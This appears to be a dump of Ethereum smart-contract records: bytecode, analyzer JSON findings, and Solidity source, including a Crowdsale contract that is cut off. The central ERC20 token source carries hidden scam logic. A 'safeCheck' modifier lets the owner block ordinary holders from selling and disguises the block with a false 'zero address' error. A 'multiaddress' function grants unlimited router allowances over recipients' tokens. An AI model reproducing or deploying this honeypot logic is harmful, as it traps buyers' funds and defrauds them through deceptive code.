107bf670de0b6b3a76400006107b9600160009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079991906112bf565b6107a490600a61141d565b6006546005546107b391611066565b90611066565b906110e5565b60045550565b6000546001600160a01b031633146107ef5760405162461bcd60e51b81526004016104cf9061136b565b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561083c57600080fd5b505afa158015610850573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108749190611237565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f29190611201565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016104cf9061136b565b60038311156109645760405162461bcd60e51b8152602060048201526011602482015270546865726520617265203320746965727360781b60448201526064016104cf565b60009283526002602052604090922060018101929092559055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104cf9061136b565b600a5442116109fa5760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e6973686564207965740000000060448201526064016104cf565b6007546005541015610a4e5760405162461bcd60e51b815260206004820152601a60248201527f50726573616c65206469646e27742068697420736f667463617000000000000060448201526064016104cf565b60405133904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600a544211610acb5760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e6973686564207965740000000060448201526064016104cf565b3360009081526003602052604090206002015460ff1615610b225760405162461bcd60e51b8152602060048201526011602482015270416c726561647920776974686461776e2160781b60448201526064016104cf565b6007546005541015610ba1573360009081526003602052604090206001015415610b9f573360008181526003602052604080822060010154905181156108fc0292818181858888f19350505050158015610b80573d6000803e3d6000fd5b50336000908152600360205260409020600201805460ff191660011790555b565b600b544211610bf25760405162461bcd60e51b815260206004820152601f60248201527f506c6561736520636865636b20746f6b656e2072656c656173652074696d650060448201526064016104cf565b6001546040805163313ce56760e01b815290516001600160a01b039092169163a9059cbb913391610cb591670de0b6b3a7640000916107b991879163313ce56791600480820192602092909190829003018186803b158015610c5357600080fd5b505afa158015610c67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8b91906112bf565b610c9690600a61141d565b600654336000908152600360205260409020600101546107b391611066565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610cfb57600080fd5b505af1158015610d0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b809190611201565b6000546001600160a01b03163314610d5d5760405162461bcd60e51b81526004016104cf9061136b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610da95760405162461bcd60e51b81526004016104cf9061136b565b600c805460ff1916911515919091179055565b6000546001600160a01b03163314610de65760405162461bcd60e51b81526004016104cf9061136b565b600692909255600755600855600992909255600a55600b55565b6000546001600160a01b03163314610e2a5760405162461bcd60e51b81526004016104cf9061136b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610e9e5760405162461bcd60e51b81526004016104cf9061136b565b60048110610eab57600080fd5b60005b82811015610f0e578160036000868685818110610ecd57610ecd611518565b9050602002016020810190610ee29190611140565b6001600160a01b0316815260208101919091526040016000205580610f06816114e7565b915050610eae565b50505050565b6000546001600160a01b03163314610f3e5760405162461bcd60e51b81526004016104cf9061136b565b6001600160a01b038116610fa35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104cf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061100b83856113a0565b90508381101561105d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b90505b92915050565b60008261107557506000611060565b600061108183856114c8565b90508261108e85836113b8565b1461105d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b60008082116111365760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016104cf565b61105d82846113b8565b60006020828403121561115257600080fd5b81356001600160a01b038116811461105d57600080fd5b60008060006040848603121561117e57600080fd5b833567ffffffffffffffff8082111561119657600080fd5b818601915086601f8301126111aa57600080fd5b8135818111156111b957600080fd5b8760208260051b85010111156111ce57600080fd5b6020928301989097509590910135949350505050565b6000602082840312156111f657600080fd5b813561105d8161152e565b60006020828403121561121357600080fd5b815161105d8161152e565b60006020828403121561123057600080fd5b5035919050565b60006020828403121561124957600080fd5b5051919050565b60008060006060848603121561126557600080fd5b505081359360208301359350604090920135919050565b60008060008060008060c0878903121561129557600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000602082840312156112d157600080fd5b815160ff8116811461105d57600080fd5b60208082526021908201527f436865636b206d617820636f6e747269627574696f6e207065722077616c6c656040820152601d60fa1b606082015260800190565b60208082526028908201527f506c6561736520636865636b206d696e696d756d20616d6f756e7420636f6e746040820152673934b13aba34b7b760c11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156113b3576113b3611502565b500190565b6000826113d557634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156114155781600019048211156113fb576113fb611502565b8085161561140857918102915b93841c93908002906113df565b509250929050565b600061105d60ff84168360008261143657506001611060565b8161144357506000611060565b816001811461145957600281146114635761147f565b6001915050611060565b60ff84111561147457611474611502565b50506001821b611060565b5060208310610133831016604e8410600b84101617156114a2575081810a611060565b6114ac83836113da565b80600019048211156114c0576114c0611502565b029392505050565b60008160001904831182151516156114e2576114e2611502565b500290565b60006000198214156114fb576114fb611502565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b80151581146108f257600080fdfea26469706673582212204b4e31850137be10806cb5c095688a24b762b1bba913b30c62222583cfa3657b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,520
0xa15310db0d18971a6d49a71f953e52055e857d21
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_MONTE(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122066398840e539bee0d4962981df4158a5a2515e2642b30f60d9a9ad48b62683cb64736f6c63430006060033
{"success": true, "error": null, "results": {}}
8,521
0xf6e4167819ed8ce74ec6eb7e8854a6438df17002
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); 